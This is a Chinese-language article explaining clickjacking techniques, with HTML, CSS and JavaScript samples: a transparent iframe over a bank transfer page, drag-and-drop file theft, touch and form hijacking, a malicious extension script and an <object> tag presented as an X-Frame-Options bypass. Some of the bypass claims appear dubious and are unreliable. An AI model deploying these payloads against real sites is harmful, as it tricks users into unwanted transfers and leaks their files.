点击劫持的常见攻击方式

点击劫持是一种前端安全威胁，攻击者通过透明或伪装的界面层诱导用户点击看似无害的元素，实际触发恶意操作。这种攻击方式隐蔽性强，用户往往难以察觉。

透明iframe覆盖攻击

攻击者创建一个透明iframe覆盖在诱饵页面上，当用户点击可见按钮时，实际触发的是iframe中的恶意操作。这种攻击常见于社交网络"点赞"劫持或支付按钮伪造。

<!-- 恶意页面代码示例 -->
<style>
  iframe {
    opacity: 0;
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 999;
  }
  button {
    position: absolute;
    top: 300px;
    left: 500px;
    z-index: 1;
  }
</style>

<button>点击领取优惠券</button>
<iframe src="https://victim-site.com/transfer-money"></iframe>

拖放劫持技术

利用HTML5拖放API，攻击者可以劫持用户的拖拽操作。常见于文件上传场景，用户以为在拖拽文件到安全区域，实际将敏感数据传送到攻击者服务器。

// 拖放劫持示例
document.addEventListener('dragover', function(e) {
  e.preventDefault();
  e.dataTransfer.dropEffect = 'copy';
});

document.addEventListener('drop', function(e) {
  e.preventDefault();
  const files = e.dataTransfer.files;
  // 将文件偷偷上传到攻击者服务器
  uploadToMaliciousServer(files);
});

光标劫持手法

通过CSS修改光标位置，使实际点击位置与用户感知位置产生偏移。这种技术常用于投票按钮或关键操作按钮的劫持。

/* 光标劫持CSS示例 */
body {
  cursor: url('transparent.gif'), auto;
}
.button-real {
  position: absolute;
  left: 100px;
  top: 100px;
}
.button-fake {
  position: absolute;
  left: 150px;
  top: 150px;
  cursor: none;
}

多阶段点击诱导

攻击者设计多步操作流程，逐步引导用户进入陷阱。例如先让用户点击无害按钮，然后在后续步骤中实施劫持。

// 多阶段点击劫持示例
document.getElementById('step1').addEventListener('click', function() {
  showModal('请继续点击确认以完成操作');
  document.getElementById('confirm-button').addEventListener('click', function() {
    // 实际执行恶意操作
    executeMaliciousAction();
  });
});

移动端触摸劫持

针对移动设备的特点，攻击者会使用触摸事件相关的劫持技术。常见于全屏WebView或PWA应用中。

// 触摸劫持示例
document.addEventListener('touchstart', function(e) {
  const realButton = document.getElementById('real-button');
  const rect = realButton.getBoundingClientRect();
  
  // 检测触摸是否在目标区域
  if (e.touches[0].clientX > rect.left && 
      e.touches[0].clientX < rect.right &&
      e.touches[0].clientY > rect.top && 
      e.touches[0].clientY < rect.bottom) {
    // 执行恶意操作
    maliciousAction();
    e.preventDefault();
  }
});

表单输入劫持

攻击者劫持表单输入过程，在用户不知情的情况下修改或添加表单数据。这种攻击对关键业务操作威胁极大。

// 表单劫持示例
document.forms[0].addEventListener('submit', function(e) {
  const hiddenInput = document.createElement('input');
  hiddenInput.type = 'hidden';
  hiddenInput.name = 'malicious_data';
  hiddenInput.value = 'stolen_info';
  this.appendChild(hiddenInput);
});

浏览器扩展劫持

恶意浏览器扩展可以修改页面DOM结构，注入点击劫持代码。这种攻击难以检测，因为扩展具有较高的权限。

// 恶意扩展内容脚本示例
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
  if (request.action === "injectClickjacking") {
    const iframe = document.createElement('iframe');
    iframe.src = request.maliciousUrl;
    iframe.style.cssText = 'opacity:0;position:fixed;top:0;left:0;width:100%;height:100%;z-index:99999';
    document.body.appendChild(iframe);
  }
});

防御技术绕过手段

攻击者会采用各种技术绕过常见的点击劫持防御措施：

1. 使用<embed>或<object>标签代替iframe
2. 通过CSS3变换和动画干扰X-Frame-Options检测
3. 利用浏览器漏洞实现框架嵌套
4. 使用Web Components等新技术实施劫持

<!-- 绕过X-Frame-Options的示例 -->
<object data="https://victim-site.com" 
        type="text/html"
        style="opacity:0;position:absolute;top:0;left:0;width:100%;height:100%">
</object>

高级视觉欺骗技术

结合现代CSS技术，攻击者可以创建极其逼真的视觉欺骗：

1. 使用CSS滤镜和混合模式创建视觉混淆
2. 利用3D变换制造空间错位感
3. 通过微妙的动画引导用户点击
4. 响应式设计适配不同设备

/* 高级视觉欺骗示例 */
.deceptive-element {
  transform: perspective(500px) rotateY(15deg);
  mix-blend-mode: multiply;
  transition: all 0.3s ease;
  box-shadow: 0 0 15px rgba(0,0,0,0.2);
  backdrop-filter: blur(2px);
}

.deceptive-element:hover {
  transform: perspective(500px) rotateY(0);
  filter: brightness(1.1);
}